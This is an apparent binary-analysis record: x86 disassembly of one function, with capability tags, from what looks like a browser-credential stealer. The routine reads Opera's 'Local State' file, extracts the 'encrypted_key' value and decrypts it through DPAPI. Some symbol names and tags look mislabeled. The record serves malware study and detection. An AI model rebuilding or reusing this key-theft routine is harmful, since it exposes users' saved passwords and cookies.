Function at 0x1000c970
Capabilities:
Encrypt data using dpapi
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0xc], str.Opera_SoftwareOpera_StableLocal_State
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x100af5f0
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1000cb4f
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000cb45
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x100a91d4
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.1009626a
add esp, 0x14
push 0
push 0
push 3
push 0
push 0
push closesocket
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x1000cb3b
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x1000cb31
mov eax, dword [ebp - 0x18]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x1000cb31
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x18]
jne 0x1000cb27
push str.encrypted_key
mov eax, dword [ebp - 0x1c]
push eax
call fcn.1000e8b0
add esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000cb27
mov ecx, dword [ebp - 0x20]
add ecx, 0x10
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], 0
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x24]
movsx eax, byte [edx]
cmp eax, 0x22
je 0x1000ca99
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
jmp 0x1000ca80
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.10094c90
add esp, 0xc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x1000cb27
mov edx, dword [ebp - 0x28]
add edx, 5
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x2c]
sub eax, 5
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ecx
lea edx, [ebp - 0x34]
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.100969eb
add esp, 4
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
jmp 0x1000cb51
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
mov esp, ebp
pop ebp
ret